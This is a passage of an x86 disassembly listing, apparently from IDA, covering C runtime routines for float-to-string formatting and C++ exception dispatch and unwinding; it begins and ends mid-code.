mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_C] mov byte ptr [ecx], 0 loc_427753: ; CODE XREF: sub_427700+18j ; sub_427700+33j mov edx, [ebp+arg_0] mov [ebp+var_4], edx mov eax, [ebp+arg_8] cmp dword ptr [eax], 2Dh jnz short loc_427770 mov ecx, [ebp+var_4] mov byte ptr [ecx], 2Dh mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_427770: ; CODE XREF: sub_427700+5Fj mov eax, [ebp+arg_8] cmp dword ptr [eax+4], 0 jg short loc_427798 push 1 mov ecx, [ebp+var_4] push ecx call sub_427990 add esp, 8 mov edx, [ebp+var_4] mov byte ptr [edx], 30h mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_4277A4 ; --------------------------------------------------------------------------- loc_427798: ; CODE XREF: sub_427700+77j mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] add edx, [ecx+4] mov [ebp+var_4], edx loc_4277A4: ; CODE XREF: sub_427700+96j cmp [ebp+arg_4], 0 jle loc_427836 push 1 mov eax, [ebp+var_4] push eax call sub_427990 add esp, 8 mov ecx, [ebp+var_4] mov dl, byte_4516AC mov [ecx], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+arg_8] cmp dword ptr [ecx+4], 0 jge short loc_427836 movsx edx, [ebp+arg_C] test edx, edx jz short loc_4277EE mov eax, [ebp+arg_8] mov ecx, [eax+4] neg ecx mov [ebp+arg_4], ecx jmp short loc_427814 ; --------------------------------------------------------------------------- loc_4277EE: ; CODE XREF: sub_427700+DFj mov edx, [ebp+arg_8] mov eax, [edx+4] neg eax cmp [ebp+arg_4], eax jge short loc_427803 mov ecx, [ebp+arg_4] mov [ebp+var_10], ecx jmp short loc_42780E ; --------------------------------------------------------------------------- loc_427803: ; CODE XREF: sub_427700+F9j mov edx, [ebp+arg_8] mov eax, [edx+4] neg eax mov [ebp+var_10], eax loc_42780E: ; CODE XREF: sub_427700+101j mov ecx, [ebp+var_10] mov [ebp+arg_4], ecx loc_427814: ; CODE XREF: sub_427700+ECj mov edx, [ebp+arg_4] push edx mov eax, [ebp+var_4] push eax call sub_427990 add esp, 8 mov ecx, [ebp+arg_4] push ecx push 30h mov edx, [ebp+var_4] push edx call sub_41B190 add esp, 0Ch loc_427836: ; CODE XREF: sub_427700+A8j ; sub_427700+D7j mov eax, [ebp+arg_0] mov esp, ebp pop ebp retn sub_427700 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427840 proc near ; CODE XREF: sub_427930+55p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = byte ptr -2Ch var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 38h mov [ebp+var_30], 0 lea eax, [ebp+var_14] mov [ebp+var_38], eax lea ecx, [ebp+var_2C] push ecx lea edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx mov edx, [eax] push edx call sub_42DBD0 add esp, 10h mov eax, [ebp+var_38] mov ecx, [eax+4] sub ecx, 1 mov [ebp+var_34], ecx mov edx, [ebp+var_38] xor eax, eax cmp dword ptr [edx], 2Dh setz al mov ecx, [ebp+arg_4] add ecx, eax mov [ebp+var_4], ecx mov edx, [ebp+var_38] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call sub_42DAD0 add esp, 0Ch mov edx, [ebp+var_38] mov eax, [edx+4] sub eax, 1 xor ecx, ecx cmp [ebp+var_34], eax setl cl mov [ebp+var_30], cl mov edx, [ebp+var_38] mov eax, [edx+4] sub eax, 1 mov [ebp+var_34], eax cmp [ebp+var_34], 0FFFFFFFCh jl short loc_4278CB mov ecx, [ebp+var_34] cmp ecx, [ebp+arg_8] jl short loc_4278E7 loc_4278CB: ; CODE XREF: sub_427840+81j push 1 mov edx, [ebp+var_38] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx call sub_427520 add esp, 14h jmp short loc_427921 ; --------------------------------------------------------------------------- loc_4278E7: ; CODE XREF: sub_427840+89j movsx eax, [ebp+var_30] test eax, eax jz short loc_42790B loc_4278EF: ; CODE XREF: sub_427840+C2j mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax test edx, edx jz short loc_427904 jmp short loc_4278EF ; --------------------------------------------------------------------------- loc_427904: ; CODE XREF: sub_427840+C0j mov ecx, [ebp+var_4] mov byte ptr [ecx-2], 0 loc_42790B: ; CODE XREF: sub_427840+ADj push 1 mov edx, [ebp+var_38] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx call sub_427700 add esp, 10h loc_427921: ; CODE XREF: sub_427840+A5j mov esp, ebp pop ebp retn sub_427840 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427930 proc near ; CODE XREF: sub_422D70+6ADp ; DATA XREF: sub_41CE50+3o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_42793F cmp [ebp+arg_8], 45h jnz short loc_427959 loc_42793F: ; CODE XREF: sub_427930+7j mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_4274A0 add esp, 10h jmp short loc_42798D ; --------------------------------------------------------------------------- loc_427959: ; CODE XREF: sub_427930+Dj cmp [ebp+arg_8], 66h jnz short loc_427975 mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_427690 add esp, 0Ch jmp short loc_42798D ; --------------------------------------------------------------------------- loc_427975: ; CODE XREF: sub_427930+2Dj mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_427840 add esp, 10h loc_42798D: ; CODE XREF: sub_427930+27j ; sub_427930+43j pop ebp retn sub_427930 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427990 proc near ; CODE XREF: sub_427520+2Fp ; sub_427700+7Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_4], 0 jz short loc_4279BC mov eax, [ebp+arg_0] push eax call sub_418D00 add esp, 4 add eax, 1 push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_0] add edx, [ebp+arg_4] push edx call sub_41D520 add esp, 0Ch loc_4279BC: ; CODE XREF: sub_427990+7j pop ebp retn sub_427990 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4279C0 proc near ; CODE XREF: sub_41D100+27p ; sub_41D1E0+2Cp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_10] cmp dword ptr [eax], 19930520h jnz short loc_4279DA mov [ebp+var_8], 0 jmp short loc_4279E2 ; --------------------------------------------------------------------------- loc_4279DA: ; CODE XREF: sub_4279C0+Fj call sub_428720 mov [ebp+var_8], eax loc_4279E2: ; CODE XREF: sub_4279C0+18j mov ecx, [ebp+arg_0] mov edx, [ecx+4] and edx, 66h test edx, edx jz short loc_427A1E mov eax, [ebp+arg_10] cmp dword ptr [eax+4], 0 jz short loc_427A14 cmp [ebp+arg_14], 0 jnz short loc_427A14 push 0FFFFFFFFh mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_4] push eax call sub_427F30 add esp, 10h loc_427A14: ; CODE XREF: sub_4279C0+36j ; sub_4279C0+3Cj mov eax, 1 jmp loc_427AAB ; --------------------------------------------------------------------------- loc_427A1E: ; CODE XREF: sub_4279C0+2Dj mov ecx, [ebp+arg_10] cmp dword ptr [ecx+0Ch], 0 jz short loc_427AA6 mov edx, [ebp+arg_0] cmp dword ptr [edx], 0E06D7363h jnz short loc_427A7E mov eax, [ebp+arg_0] cmp dword ptr [eax+14h], 19930520h jbe short loc_427A7E mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov eax, [edx+8] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_427A7E mov ecx, [ebp+arg_1C] and ecx, 0FFh push ecx mov edx, [ebp+arg_18] push edx mov eax, [ebp+arg_14] push eax mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call [ebp+var_4] add esp, 20h jmp short loc_427AAB ; --------------------------------------------------------------------------- loc_427A7E: ; CODE XREF: sub_4279C0+70j ; sub_4279C0+7Cj ... mov eax, [ebp+arg_18] push eax mov ecx, [ebp+arg_14] push ecx mov dl, byte ptr [ebp+arg_1C] push edx mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_427AB0 add esp, 20h loc_427AA6: ; CODE XREF: sub_4279C0+65j mov eax, 1 loc_427AAB: ; CODE XREF: sub_4279C0+59j ; sub_4279C0+BCj mov esp, ebp pop ebp retn sub_4279C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427AB0 proc near ; CODE XREF: sub_4279C0+DEp var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 30h mov [ebp+var_8], 0 mov eax, [ebp+arg_4] mov ecx, [eax+8] mov [ebp+var_4], ecx cmp [ebp+var_4], 0FFFFFFFFh jl short loc_427ADD mov edx, [ebp+arg_10] mov eax, [ebp+var_4] cmp eax, [edx+4] jge short loc_427ADD mov [ebp+var_28], 0 jmp short loc_427AE5 ; --------------------------------------------------------------------------- loc_427ADD: ; CODE XREF: sub_427AB0+17j ; sub_427AB0+22j call sub_428720 mov [ebp+var_28], eax loc_427AE5: ; CODE XREF: sub_427AB0+2Bj mov ecx, [ebp+arg_0] cmp dword ptr [ecx], 0E06D7363h jnz loc_427BA5 mov edx, [ebp+arg_0] cmp dword ptr [edx+10h], 3 jnz loc_427BA5 mov eax, [ebp+arg_0] cmp dword ptr [eax+14h], 19930520h jnz loc_427BA5 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+1Ch], 0 jnz loc_427BA5 call sub_423CF0 cmp dword ptr [eax+6Ch], 0 jnz short loc_427B2E jmp loc_427D4C ; --------------------------------------------------------------------------- loc_427B2E: ; CODE XREF: sub_427AB0+77j call sub_423CF0 mov edx, [eax+6Ch] mov [ebp+arg_0], edx call sub_423CF0 mov eax, [eax+70h] mov [ebp+arg_8], eax mov [ebp+var_8], 1 push 1 mov ecx, [ebp+arg_0] push ecx call sub_42DE70 add esp, 8 test eax, eax jz short loc_427B63 mov [ebp+var_2C], 0 jmp short loc_427B6B ; --------------------------------------------------------------------------- loc_427B63: ; CODE XREF: sub_427AB0+A8j call sub_428720 mov [ebp+var_2C], eax loc_427B6B: ; CODE XREF: sub_427AB0+B1j mov edx, [ebp+arg_0] cmp dword ptr [edx], 0E06D7363h jnz short loc_427B9E mov eax, [ebp+arg_0] cmp dword ptr [eax+10h], 3 jnz short loc_427B9E mov ecx, [ebp+arg_0] cmp dword ptr [ecx+14h], 19930520h jnz short loc_427B9E mov edx, [ebp+arg_0] cmp dword ptr [edx+1Ch], 0 jnz short loc_427B9E call sub_428720 mov [ebp+var_30], eax jmp short loc_427BA5 ; --------------------------------------------------------------------------- loc_427B9E: ; CODE XREF: sub_427AB0+C4j ; sub_427AB0+CDj ... mov [ebp+var_30], 0 loc_427BA5: ; CODE XREF: sub_427AB0+3Ej ; sub_427AB0+4Bj ... mov eax, [ebp+arg_0] cmp dword ptr [eax], 0E06D7363h jnz loc_427D0C mov ecx, [ebp+arg_0] cmp dword ptr [ecx+10h], 3 jnz loc_427D0C mov edx, [ebp+arg_0] cmp dword ptr [edx+14h], 19930520h jnz loc_427D0C lea eax, [ebp+var_C] push eax lea ecx, [ebp+var_14] push ecx mov edx, [ebp+var_4] push edx mov eax, [ebp+arg_18] push eax mov ecx, [ebp+arg_10] push ecx call sub_41D380 add esp, 14h mov [ebp+var_10], eax jmp short loc_427C04 ; --------------------------------------------------------------------------- loc_427BF2: ; CODE XREF: sub_427AB0:loc_427C25j ; sub_427AB0:loc_427CEAj mov edx, [ebp+var_14] add edx, 1 mov [ebp+var_14], edx mov eax, [ebp+var_10] add eax, 14h mov [ebp+var_10], eax loc_427C04: ; CODE XREF: sub_427AB0+140j mov ecx, [ebp+var_14] cmp ecx, [ebp+var_C] jnb loc_427CEF mov edx, [ebp+var_10] mov eax, [edx] cmp eax, [ebp+var_4] jg short loc_427C25 mov ecx, [ebp+var_10] mov edx, [ebp+var_4] cmp edx, [ecx+4] jle short loc_427C27 loc_427C25: ; CODE XREF: sub_427AB0+168j jmp short loc_427BF2 ; --------------------------------------------------------------------------- loc_427C27: ; CODE XREF: sub_427AB0+173j mov eax, [ebp+var_10] mov ecx, [eax+10h] mov [ebp+var_1C], ecx mov edx, [ebp+var_10] mov eax, [edx+0Ch] mov [ebp+var_24], eax jmp short loc_427C4D ; --------------------------------------------------------------------------- loc_427C3B: ; CODE XREF: sub_427AB0:loc_427CE5j mov ecx, [ebp+var_24] sub ecx, 1 mov [ebp+var_24], ecx mov edx, [ebp+var_1C] add edx, 10h mov [ebp+var_1C], edx loc_427C4D: ; CODE XREF: sub_427AB0+189j cmp [ebp+var_24], 0 jle loc_427CEA mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov edx, [ecx+0Ch] add edx, 4 mov [ebp+var_18], edx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov edx, [ecx+0Ch] mov eax, [edx] mov [ebp+var_20], eax jmp short loc_427C88 ; --------------------------------------------------------------------------- loc_427C76: ; CODE XREF: sub_427AB0+1FBj mov ecx, [ebp+var_20] sub ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+var_18] add edx, 4 mov [ebp+var_18], edx loc_427C88: ; CODE XREF: sub_427AB0+1C4j cmp [ebp+var_20], 0 jle short loc_427CE5 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] push ecx mov edx, [ebp+var_18] mov eax, [edx] push eax mov ecx, [ebp+var_1C] push ecx call sub_427E70 add esp, 0Ch test eax, eax jnz short loc_427CAD jmp short loc_427C76 ; --------------------------------------------------------------------------- loc_427CAD: ; CODE XREF: sub_427AB0+1F9j mov dl, [ebp+var_8] push edx mov eax, [ebp+arg_1C] push eax mov ecx, [ebp+arg_18] push ecx mov edx, [ebp+var_10] push edx mov eax, [ebp+var_18] mov ecx, [eax] push ecx mov edx, [ebp+var_1C] push edx mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_428060 add esp, 2Ch jmp short loc_427D4A ; --------------------------------------------------------------------------- loc_427CE5: ; CODE XREF: sub_427AB0+1DCj jmp loc_427C3B ; --------------------------------------------------------------------------- loc_427CEA: ; CODE XREF: sub_427AB0+1A1j ; sub_427AB0:loc_427D4Aj jmp loc_427BF2 ; --------------------------------------------------------------------------- loc_427CEF: ; CODE XREF: sub_427AB0+15Aj mov edx, [ebp+arg_14] and edx, 0FFh test edx, edx jz short loc_427D0A push 1 mov eax, [ebp+arg_0] push eax call sub_428540 add esp, 8 loc_427D0A: ; CODE XREF: sub_427AB0+24Aj jmp short loc_427D48 ; --------------------------------------------------------------------------- loc_427D0C: ; CODE XREF: sub_427AB0+FEj ; sub_427AB0+10Bj ... mov ecx, [ebp+arg_14] and ecx, 0FFh test ecx, ecx jnz short loc_427D43 mov edx, [ebp+arg_1C] push edx mov eax, [ebp+arg_18] push eax mov ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_427D50 add esp, 20h jmp short loc_427D48 ; --------------------------------------------------------------------------- loc_427D43: ; CODE XREF: sub_427AB0+267j call sub_428670 loc_427D48: ; CODE XREF: sub_427AB0:loc_427D0Aj ; sub_427AB0+291j jmp short loc_427D4C ; --------------------------------------------------------------------------- loc_427D4A: ; CODE XREF: sub_427AB0+233j jmp short loc_427CEA ; --------------------------------------------------------------------------- loc_427D4C: ; CODE XREF: sub_427AB0+79j ; sub_427AB0:loc_427D48j mov esp, ebp pop ebp retn sub_427AB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427D50 proc near ; CODE XREF: sub_427AB0+289p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 0Ch call sub_423CF0 cmp dword ptr [eax+68h], 0 jz short loc_427D8E mov eax, [ebp+arg_1C] push eax mov ecx, [ebp+arg_18] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_41D220 add esp, 1Ch test eax, eax jz short loc_427D8E jmp loc_427E61 ; --------------------------------------------------------------------------- loc_427D8E: ; CODE XREF: sub_427D50+Fj ; sub_427D50+37j lea ecx, [ebp+var_4] push ecx lea edx, [ebp+var_C] push edx mov eax, [ebp+arg_14] push eax mov ecx, [ebp+arg_18] push ecx mov edx, [ebp+arg_10] push edx call sub_41D380 add esp, 14h mov [ebp+var_8], eax jmp short loc_427DC1 ; --------------------------------------------------------------------------- loc_427DAF: ; CODE XREF: sub_427D50:loc_427E19j ; sub_427D50+10Cj mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_8] add ecx, 14h mov [ebp+var_8], ecx loc_427DC1: ; CODE XREF: sub_427D50+5Dj mov edx, [ebp+var_C] cmp edx, [ebp+var_4] jnb loc_427E61 mov eax, [ebp+var_8] mov ecx, [ebp+arg_14] cmp ecx, [eax] jl short loc_427E19 mov edx, [ebp+var_8] mov eax, [ebp+arg_14] cmp eax, [edx+4] jg short loc_427E19 mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] sub edx, 1 shl edx, 4 mov eax, [ebp+var_8] mov ecx, [eax+10h] cmp dword ptr [ecx+edx+4], 0 jz short loc_427E1B mov edx, [ebp+var_8] mov eax, [edx+0Ch] sub eax, 1 shl eax, 4 mov ecx, [ebp+var_8] mov edx, [ecx+10h] mov eax, [edx+eax+4] movsx ecx, byte ptr [eax+8] test ecx, ecx jz short loc_427E1B loc_427E19: ; CODE XREF: sub_427D50+85j ; sub_427D50+90j jmp short loc_427DAF ; --------------------------------------------------------------------------- loc_427E1B: ; CODE XREF: sub_427D50+A9j ; sub_427D50+C7j push 1 mov edx, [ebp+arg_1C] push edx mov eax, [ebp+arg_18] push eax mov ecx, [ebp+var_8] push ecx push 0 mov edx, [ebp+var_8] mov eax, [edx+0Ch] sub eax, 1 shl eax, 4 mov ecx, [ebp+var_8] mov edx, [ecx+10h] add edx, eax push edx mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_428060 add esp, 2Ch jmp loc_427DAF ; --------------------------------------------------------------------------- loc_427E61: ; CODE XREF: sub_427D50+39j ; sub_427D50+77j mov esp, ebp pop ebp retn sub_427D50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427E70 proc near ; CODE XREF: sub_427AB0+1EFp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp dword ptr [eax+4], 0 jz short loc_427E8B mov ecx, [ebp+arg_0] mov edx, [ecx+4] movsx eax, byte ptr [edx+8] test eax, eax jnz short loc_427E95 loc_427E8B: ; CODE XREF: sub_427E70+Bj mov eax, 1 jmp loc_427F22 ; --------------------------------------------------------------------------- loc_427E95: ; CODE XREF: sub_427E70+19j mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] mov eax, [ecx+4] cmp eax, [edx+4] jz short loc_427EC7 mov ecx, [ebp+arg_4] mov edx, [ecx+4] add edx, 8 push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] add ecx, 8 push ecx call sub_41C4C0 add esp, 8 test eax, eax jz short loc_427EC7 xor eax, eax jmp short loc_427F22 ; --------------------------------------------------------------------------- loc_427EC7: ; CODE XREF: sub_427E70+31j ; sub_427E70+51j mov edx, [ebp+arg_4] mov eax, [edx] and eax, 2 test eax, eax jz short loc_427EDF mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 8 test edx, edx jz short loc_427F18 loc_427EDF: ; CODE XREF: sub_427E70+61j mov eax, [ebp+arg_8] mov ecx, [eax] and ecx, 1 test ecx, ecx jz short loc_427EF7 mov edx, [ebp+arg_0] mov eax, [edx] and eax, 1 test eax, eax jz short loc_427F18 loc_427EF7: ; CODE XREF: sub_427E70+79j mov ecx, [ebp+arg_8] mov edx, [ecx] and edx, 2 test edx, edx jz short loc_427F0F mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 2 test ecx, ecx jz short loc_427F18 loc_427F0F: ; CODE XREF: sub_427E70+91j mov [ebp+var_4], 1 jmp short loc_427F1F ; --------------------------------------------------------------------------- loc_427F18: ; CODE XREF: sub_427E70+6Dj ; sub_427E70+85j ... mov [ebp+var_4], 0 loc_427F1F: ; CODE XREF: sub_427E70+A6j mov eax, [ebp+var_4] loc_427F22: ; CODE XREF: sub_427E70+20j ; sub_427E70+55j mov esp, ebp pop ebp retn sub_427E70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427F30 proc near ; CODE XREF: .nsp0:0041D15Ap ; sub_4279C0+4Cp ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4381D0 push offset sub_42A9E4 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFECh push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] mov ecx, [eax+8] mov [ebp+var_1C], ecx loc_427F5F: ; CODE XREF: sub_427F30+BFj mov edx, [ebp+var_1C] cmp edx, [ebp+arg_C] jz loc_427FF4 cmp [ebp+var_1C], 0FFFFFFFFh jle short loc_427F85 mov eax, [ebp+arg_8] mov ecx, [ebp+var_1C] cmp ecx, [eax+4] jge short loc_427F85 mov [ebp+var_20], 0 jmp short loc_427F8D ; --------------------------------------------------------------------------- loc_427F85: ; CODE XREF: sub_427F30+3Fj ; sub_427F30+4Aj call sub_428720 mov [ebp+var_20], eax loc_427F8D: ; CODE XREF: sub_427F30+53j mov [ebp+var_4], 0 mov edx, [ebp+arg_8] mov eax, [edx+8] mov ecx, [ebp+var_1C] cmp dword ptr [eax+ecx*8+4], 0 jz short loc_427FC0 push 103h mov edx, [ebp+arg_0] push edx mov eax, [ebp+arg_8] mov ecx, [eax+8] mov edx, [ebp+var_1C] mov eax, [ecx+edx*8+4] push eax call sub_428620 loc_427FC0: ; CODE XREF: sub_427F30+72j mov [ebp+var_4], 0FFFFFFFFh jmp short loc_427FE0 ; --------------------------------------------------------------------------- mov ecx, [ebp+var_14] push ecx call sub_428030 add esp, 4 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_4], 0FFFFFFFFh loc_427FE0: ; CODE XREF: sub_427F30+97j mov edx, [ebp+arg_8] mov eax, [edx+8] mov ecx, [ebp+var_1C] mov edx, [eax+ecx*8] mov [ebp+var_1C], edx jmp loc_427F5F ; --------------------------------------------------------------------------- loc_427FF4: ; CODE XREF: sub_427F30+35j mov eax, [ebp+var_1C] cmp eax, [ebp+arg_C] jnz short loc_428005 mov [ebp+var_24], 0 jmp short loc_42800D ; --------------------------------------------------------------------------- loc_428005: ; CODE XREF: sub_427F30+CAj call sub_428720 mov [ebp+var_24], eax loc_42800D: ; CODE XREF: sub_427F30+D3j mov ecx, [ebp+arg_0] mov edx, [ebp+var_1C] mov [ecx+8], edx mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_427F30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428030 proc near ; CODE XREF: sub_427F30+9Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] mov ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov eax, [edx] mov [ebp+var_8], eax cmp [ebp+var_8], 0E06D7363h jz short loc_428051 jmp short loc_428056 ; --------------------------------------------------------------------------- loc_428051: ; CODE XREF: sub_428030+1Dj call sub_428670 loc_428056: ; CODE XREF: sub_428030+1Fj xor eax, eax mov esp, ebp pop ebp retn sub_428030 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428060 proc near ; CODE XREF: sub_427AB0+22Bp ; sub_427D50+104p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_4] mov [ebp+var_4], eax cmp [ebp+arg_18], 0 jz short loc_42808A mov ecx, [ebp+arg_18] push ecx mov edx, [ebp+arg_14] push edx mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4282C0 add esp, 10h loc_42808A: ; CODE XREF: sub_428060+10j cmp [ebp+arg_24], 0 jnz short loc_42809F mov edx, [ebp+arg_0] push edx mov eax, [ebp+arg_4] push eax call sub_41D0A0 jmp short loc_4280AC ; --------------------------------------------------------------------------- loc_42809F: ; CODE XREF: sub_428060+2Ej mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_24] push edx call sub_41D0A0 loc_4280AC: ; CODE XREF: sub_428060+3Dj mov eax, [ebp+arg_1C] mov ecx, [eax] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+var_4] push ecx call sub_427F30 add esp, 10h mov edx, [ebp+arg_1C] mov eax, [edx+4] add eax, 1 mov ecx, [ebp+arg_4] mov [ecx+8], eax push 100h mov edx, [ebp+arg_20] push edx mov eax, [ebp+arg_14] mov ecx, [eax+0Ch] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_0] push edx call sub_428120 add esp, 1Ch mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_428113 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_8] push ecx call sub_41D030 loc_428113: ; CODE XREF: sub_428060+A4j mov esp, ebp pop ebp retn sub_428060 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428120 proc near ; CODE XREF: sub_428060+95p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h ; FUNCTION CHUNK AT 0042825B SIZE 00000014 BYTES push ebp mov 